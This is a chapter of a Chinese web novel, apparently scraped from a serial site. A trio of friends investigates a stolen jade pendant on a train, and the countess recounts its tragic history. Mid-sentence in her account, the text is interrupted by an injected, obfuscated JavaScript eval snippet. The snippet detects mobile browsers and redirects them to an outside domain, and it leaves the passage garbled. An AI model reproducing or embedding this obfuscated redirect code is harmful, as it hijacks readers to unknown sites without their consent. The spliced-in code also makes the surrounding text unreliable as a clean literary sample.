记者还是那副表情,他拿起伊琳娜手边的方糖罐,扔了一颗到自己的苦艾酒里,没过一会儿酒液就升起朦胧的雾气:“比起巴黎左岸咖啡馆那帮文豪,像他们那样滴进糖水,我还是喜欢纯饮。当然,遇到你们,我认为有必要加点料。” 伊琳娜快掩饰不住对他的反感了,尤其是记者端起酒杯时候微微翘起的小指,倒是像那些会去红磨坊看卡巴莱舞剧的纨绔子弟。 “互相帮助嘛,我只是一个寻求真相的记录者。车上每个人我几乎都聊过几句,一些碎片信息对你们可能没用,但在我这里,或许能拼出不一样的图案。”记者将杯子里的酒一饮而尽,然后摇了摇头,吐出了酒气。 “你想要什么?”里奥尼德摘下一只手套,午后车厢里浑浊的空气让他感到燥热。 见记者没说话,伊琳娜又补上一句:“互相帮助?听起来很有趣,记者先生。但您想怎么帮呢?或者说,您想从我们这里得到什么作为回报呢?独家报道权?报道这么微不足道的小小失窃案?” 记者用一种玩味的眼神扫视着他们,尤其是最后停留在萨哈良身上:“和聪明人说话就是轻松,索尔贝格小姐。我不需要独家,只需要一个优先采访权,在你们解决这件事后,第一个接受我的采访。作为回报,我可以把我知道的关于杜邦先生、那位修女,甚至......其他任何人的信息,与你们共享。” 他油腻粘滞的目光让萨哈良感到不适,像是早早就注意到他了,尤其是这个记者偷听了刚才他们与工程师的谈话,竟然知道伊琳娜的姓氏。 “那么,我们如何相信你?”里奥尼德摩挲着手套上的纹章绣花,盯着记者的眼睛。 记者清了清嗓子,小声说道:“有件小事不知道有没有用,午餐前,我看到杜邦和那个......总是笑得很得体的英俊服务生,在过道里聊了几句。” “然后呢?” 他摊开手,不打算继续说下去了。 看到里奥尼德和伊琳娜不悦的表情,记者又笑着对他们说:“哎呀,别急嘛。还有那个修女,她可不是一直坐在那儿的。午餐后有一小段时间,她站在车厢连接处,不是在祈祷,而是......望着三等车厢的方向,看了很久,眼神非常复杂,绝不是那种看异教徒的冷漠。” 里奥尼德沉思着这些信息意味着什么,很快,记者站了起来。 “等你们想明白再来找我,你们不觉得这辆车上的气氛很有趣吗?贵族,商人,修女,军官......还有那些几乎像影子一样存在的服务人员。我注意到,他们看某些乘客的眼神,可不仅仅是恭敬那么简单,”记者又把头扭向那位热衷于给大额小费的贵族夫人,“当然,乘客看他们的眼神更是不单纯。” 说完,记者拿着酒杯走回自己的桌子,又喊侍者过来给他的杯子添满了苦艾酒。 “喝吧,大白天喝酒,迟早喝成酒蒙子。”鹿神轻蔑地说了一句。 “里奥,我们接下来怎么办?”萨哈良看着沉默的两人,如果要继续推进侦破的速度,现在就要想办法。 伊琳娜看着里奥尼德,说:“我觉得我们应该再去找一次伯爵夫人,就像你说的,她好像没把故事讲完全。” “等晚饭前吧,她的精神衰弱挺严重的,现在在睡午觉。”里奥尼德盯着笔记本上记录的线索,陷入了沉思。 列车在无垠的旷野中穿梭,伴随着天边的晚霞,外面的空气慢慢变冷,车厢里的侍者也适时的关上了车窗。 车厢内,夕阳的光线穿过宽大的窗户。晚餐时间临近,旅客们也陆续赶到餐车,他们轻松的表情无疑证明了午后睡得很舒服。 里奥尼德坐在桌前写着别的东西,伊琳娜则是继续完成自己的小说大纲,萨哈良从书架上找到一本小说,看得津津有味。 当故事发展到警察局的局长审问主角时,列车长带着侍者走到了旁边。 “怎么样,今天下午的调查有结果吗?”他俯下身,帮他们添满茶水,随后说道。 “我们觉得可能需要再去和伯爵夫人聊聊,但下午她在午睡,所以我们还在等晚餐开始前过去。”里奥尼德合上本子,看着列车长。 列车长回头看了看身后的侍者,他的手中端着餐盘:“那一块走吧,正好夫人让我们给她做了份热汤,她最近身体不适,有点没胃口。” 在去往伯爵夫人的包厢时,里奥尼德心想,也难怪她会精神衰弱。头等舱在餐车的一侧,不管是早中午餐,还是平时,通道里总是人来人往。 这个想法突然惊醒了里奥,如果嫌疑人是通过撬锁打开房门的,那恐怕至少有一个人给他望风,尽管他是趁着午餐开始时人少才盗窃的。 就当列车长准备敲响房门时,里奥拦住了他。 “等等。”里奥尼德蹲了下去,仔细观察着门把手下面的钥匙孔。 萨哈良也半弯着腰,那里黄铜的钥匙孔洞旁,有着好几道新鲜的细小划痕,要是不借着壁灯的光线几乎是看不见的。 “您的意思是......”列车长也看见了,里奥尼德向他点点头。 里奥捂住嘴,小声说道:“这无疑是一位拙劣的小偷,他撬动门锁的方法非常业余,像是一个刚学会撬锁不久的新手。” 伊琳娜也点点头,她还记得工程师所说的,隔壁持续不断的刮擦声。 说罢,里奥尼德敲响了房门。 经过一下午的休息,伯爵夫人的精神状态看起来已经好多了,也许她先前只是为了吊坠的遗失而感到难过,毕竟那上面寄托着她对朋友的感情。 屋里还有一位陌生人,那是一直照顾她的随身女仆。 “夫人,这位是伊琳娜·索尔贝格,这位是萨哈良,我们的朋友。”里奥尼德恭敬的和伯爵夫人做介绍,她看起来心情也不错,站起身和伊琳娜行了贴面礼。 “年轻真好啊,看见这个少年就让我想起了那位好友,都坐下吧。”伯爵夫人看上去很喜欢萨哈良,这倒是让伊琳娜感到意外。 少年偷偷打量着伯爵夫人的豪华包厢,这里可比他们的房间大多了。木饰之间镶嵌着鎏金的纤薄黄铜片,上面錾刻的新艺术风格藤蔓花纹暂且不谈,旁边的桌子被死死固定在地板上,桌面上甚至摆放着一个水晶花瓶,里面正插着一支玫瑰花。 鹿神盯着那朵盛开的玫瑰,先前他在萨哈良的部族营地就展现过雪地中绽放花朵的神迹,没想到人类也能做到了吗? “夫人,这是为您准备的开胃蔬菜汤,也许喝过之后您会有胃口,”列车长示意侍者将汤碗放在桌上,“我先退下了,有事情您再喊我。” 说罢,列车长和侍从就离开了包厢。 “那我就不客气了,确实有点饿,但是不知道为什么没有胃口。”伯爵夫人说完,女仆就帮她端起双耳汤盅,送到面前。 “谢谢。”夫人只是尝了一口,就皱起了眉头,也许还是没有胃口。 趁着夫人品尝蔬菜汤时,萨哈良接着瞥向房间的一旁,角落里立着一个木质的衣帽架和一个小巧的洗手台,冷热水龙头一应俱全。毛巾架上的毛巾厚实雪白,边缘同样绣着精致的列车运营公司纹章。一个小小的书架里,甚至放着几本皮革封面的书籍。 里奥尼德还是拿起笔记本,对伯爵夫人说:“夫人,我们经过下午的调查,已经查到了一些基础的关键信息,但有很多问题我们还是想问您。” 伯爵夫人调整了一下腰后的软枕,随后对他说道:“你问吧。” “首先给您介绍我们目前的推理结果,”里奥尼德合上本子,认真思考着遣词造句,“我们推测,嫌疑人应当是蓄谋已久,绝非临时起意。他特意挑选了午餐开始时,因为头等厢的位置靠近餐车,通道里人来人往。” 里奥尼德顿了顿,接着说:“这也是问题所在,因为我们通过检查钥匙孔的划痕发现,这个人几乎是个业余的新手盗贼,他应该是用铁丝多次试探,这也从工程师的证词中得到佐证,因为他午餐时间听见了长时间的刮擦声。” 伯爵夫人点了点头。 “接下来是我想问的问题,您在当时返回车厢里,有没有发现什么异样?”里奥尼德期待的看向伯爵夫人,今晚一定要得到关键信息。 伯爵夫人认真思考了一会儿,说:“我想想......如果一定要说异样,我记得当时刚进入房间时,闻见了一股刺鼻的香味,但停留了没多久。” 她又看向伊琳娜,然后接着说道:“你们应该明白,我们用的都是龙涎香,所以能感觉出来这股香味非常廉价,只是我不知道它来自于什么东西,是化妆品?还是香水?” 里奥尼德低下头,又打开笔记本,把这个信息写了上去。 “伯爵夫人,除了这个呢?”趁着里奥记录的时候,伊琳娜继续提问。 “除了这个......对了,因为我一进来就看见手袋被打开,里面的东西散落在桌上,那会突然想到古董商想买我的吊坠,就试图去找,结果怎么找也找不到,所以我一度怀疑是他偷的。可我下午睡醒之后,发现我的梳妆盒,钱袋都好好的,什么都在,只有吊坠丢了。” “也就是说......对方不是为了钱财来的?”萨哈良已经不再观察这间豪华包厢了,他的脑袋飞速运转。 伯爵夫人朝他笑了笑,说:“是的,我也是这么想的,你很聪明。” “夫人,我们其实在想,您是不是没有把关于这枚吊坠的完整故事告诉我们?”里奥尼德看了眼萨哈良,然后说道。 她又拽了拽身后的枕头,叹了口气,说:“你们真的要听吗?” 里奥尼德点了点头,说:“夫人,我们的调查也可以说陷入僵局,也许您的故事能推动侦破的速度。尤其是明天火车即将抵达下一站,如果在那之前还没解决,届时我们可能就再也抓不到窃贼了。” 伯爵夫人朝她的随身女仆使了个颜色,她便端起汤碗和托盘转身离去了。 “这是一个漫长的故事,桌上有茶杯,你们自便吧。” 她向后靠了靠,瘦小的身子几乎被柔软的座椅吞噬了。然后她清了清嗓子,将这个故事娓娓道来。 “大约二十多年前,我嫁给了伯爵,”夫人揉了揉眉头,她看向伊琳娜,说,“贵族的婚姻嘛......我和你一样,是受父亲安排。当时只是觉得他英俊潇洒,尤其是骑在马上带我出去打猎的时候。” “大概更早的那几年,你们应该也知道,皇帝发起了对远东的开发。所以许多贵族都来到这边购置土地,建造庄园。一时间,暑期前往庄园度假蔚然成风,当然,伯爵也有一个庄园。” 伯爵夫人的话让里奥尼德和伊琳娜陷入了短暂的回忆中,在他们小时候,也时常来远东过暑假。 “不知道你们能不能看出来,我这个人身体瘦弱,所以婚后很长一段时间都生不出来孩子,”伯爵夫人想了想,接着说,“当然,我现在有一个儿子和一个女儿,可为了生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16367109|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下他们,也落下了病根。” “在生育之后没多久,我患上了严重的鼻炎和过敏。首都的医生建议我去旅行,虽然我觉得他跟谁都这么说,但伯爵还是听取了建议。伯爵当时的业务也在远东,本来就时常来往这边,所以就顺手把我一个人扔到远东的庄园度假。” “一开始来到远东的时候,我只觉得无聊,不知道你会不会这么想?”伯爵夫人再次看向伊琳娜,她对夫人的话会心一笑。 “看到你笑了我就知道,你也觉得无聊,可你至少还有里奥尼德和萨哈良陪着。那时候的远东可不比现在,庄园奇大无比,每天醒来面对的就是漫无边际的旷野,既没有沙龙也没有集市,我只能在屋里不停的看书写作。” “直到有一天,她出现了。” 伯爵夫人提到这位朋友时,头也微微抬起,好像看着空中一个不存在的位置,嘴角露出难以察觉的微笑。 “管家也知道我在这边呆的无聊,正好庄园里有个老女仆不想干了——” 伯爵夫人讲起回忆时风趣幽默,她突然小声对他们说,就好像有人在偷听一样。 “这个老女仆我也很讨厌,总是一板一眼的,而且她似乎对我看的那些闲书很是不满意。总之,在她离开之后,某个明媚的下午,管家带来了一个怯生生的女孩。” “我是后来才知道她其实没比我小多少,毕竟这边的本地人看起来年纪都小,就像这位少年一样,他刚才进来时我还以为十三四岁呢。” “所以萨哈良你多大?”伯爵夫人看向了少年。 尽管还没经历成年试炼,但萨哈良可是认为自己经历的事情要比试炼艰难多了:“夫人,我已经成年了。” 鹿神在旁边听见他的话,没忍住噗嗤一声笑了出来。 伯爵夫人接着说:“你看,果然显小吧。那个小姑娘的帝国语说得也不利索,但她身上就是有一种惹人怜惜的气质,所以我天天教她认字读书,她也是个机敏好学的人,很快就能和我正常交流了。” “那时候我才知道,她说自己的祖上是被南方帝国的皇帝流放到这边的。她的父母告诉她,他们的老家是在一条大江旁边,那里是鱼米之乡,一到秋天丰收的时候,家里的粮食都吃不完。但是因为某位祖先涉及谋反罪,所以被抄家,举家到了这里。” “我们整天无忧无虑的在庄园里玩耍,那枚青玉貔貅,其实是她的祖母送给她的,家传之宝。” 伯爵夫人突然停了下来,她对里奥尼德说:“对不起,里奥尼德,我上午和你说是我送给她的,是我欺骗了你。但你要理解我,这毕竟是家族里的事情,不能直接就告诉你。” 里奥尼德点了点头,说:“没事的,我能理解。” 随后,夫人接着说道:“我还记得她有多喜欢那枚挂坠,一直挂在胸前,和她暖色的白皙皮肤很是搭配。她还教给我许多本地人的游戏,像什么跳绳、翻花绳、抓羊拐——” 萨哈良听见这个词,掏出了裤兜里的羊骨头:“我今天还把这个教给了里奥。” 伯爵夫人点了点头,那些久远的回忆再次在她的眼前变得鲜活:“萨哈良,你对于里奥尼德也是这样的好朋友。” “接下来伯爵发现我每次来庄园的时候,总是兴高采烈地,所以他也跟着来这边住了些日子,唉,如果不让他知道就好了。” 夫人突然叹气,像是在悔恨着什么。 “没过多久,我生下第二个孩子。因为一直在首都休养,所以好久之后才在一个暑假回到庄园,她瘦了不少,脸色也憔悴了许多,甚至其他的女仆也会用埋怨的眼神看着我。” “你们知道当时我是怎么想的吗?我没有选择无条件相信自己的朋友,而是以为主人和仆从之间终有差别。我陷入终日的猜忌中,疯狂的给她们布置艰巨的工作,折磨她们。” “紧接着,远东突然爆发了瘟疫......” 伯爵夫人停了下来,她已经控制不住自己的情绪,抽泣着拿起手帕,擦了擦眼角的泪水。 “她也被传染了,管家没有通知我,连夜将她送到了乡下的茅草屋里,等死。” “我像疯了一样求管家,求其他的女仆,就快要给他们跪下了,求他们告诉我,她在哪儿。但是我不知道为什么,那些女仆就像是与我有什么深仇大恨,甚至不愿意和我多说一句话。” “最终,管家还是拗不过我,把我裹得像木乃伊一样,带到了村子里。” “抱歉,我有点控制不住了。”伯爵夫人无声的哭泣,哭得不能自已。伊琳娜拿起茶杯,坐到她旁边,握住了夫人的手。 “谢谢你,”伊琳娜温暖的手让伯爵夫人感觉到一丝力量,然后她接着说下去,“她那时候几乎已经快咽气了,我在屋外听见她在用他们的语言喊着妈妈......我再也不能忍受了,一下子挣脱了管家的手,冲了进去。” 伯爵夫人说到这里时,反而冷静了不少:“唉,我有时候觉得人就是贱骨头,那个场景在我的梦境里出现了无数次,再说起来的时候倒是没什么太过于难过的感觉了。” “不,不是的,正是因为她对您太重要了,所以才无数次回忆到那时候的场景,所以才会觉得平静。”伊琳娜握紧了夫人的手,夫人也给予她回应。 “唉,我冲进去的时候,她手中正握着那枚青玉貔貅。” “看到我进来,她很高兴,嘴角还带着微笑,但是眼泪却流了下来。我捧着她的脸,想将泪水擦掉,但无论是皮肤还是眼泪,都是冰凉而黏腻的。” “然后她用最后的力气跟我说,说了最后的遗言,想让我把这枚青玉貔貅交给她的孩子。” 伯爵夫人也看出来他们惊讶的眼神,接着说道:“是的,没想到吧,我离开远东的这两三年,她生了个孩子。” “所以你们猜这孩子是谁的?伯爵!先前我说这畜生,在远东有生意,所以趁着我回首都的时候,强迫她生下了这个孩子。” “但我当时根本不知道,所以我派人安葬了她之后,回到庄园勃然大怒,逼问他们这孩子到底是怎么回事。当然,没人敢说,但最后还是问出来了。那是个女孩子,因为庄园女人多,所以她们一直在偷偷抚养。” “我后来问他们孩子的下落,管家告诉我,伯爵已经派人来把这孩子带走了。” “最终故事的结局是,伯爵也染上瘟疫,烂在了远东。没人知道这孩子到底去哪儿了,只剩下我一个人,隔三差五就跑一趟远东,整天把青玉貔貅挂在脖子上,试图找到这孩子或者是让这孩子认出来脖子上的挂坠,再把她的遗物托付给她的女儿。” 伯爵夫人讲完这个故事,几乎耗尽了气力,只剩下有些紊乱的鼻息声表示着她难过的心情。他们谁也没想到,这简单的首饰失窃案的背后,竟然如此沉重。 里奥尼德思考了一会,他看了眼伊琳娜,又看了眼萨哈良,最后看向伯爵夫人,对她斩钉截铁的说道: “夫人,我要彻查列车上的所有人。”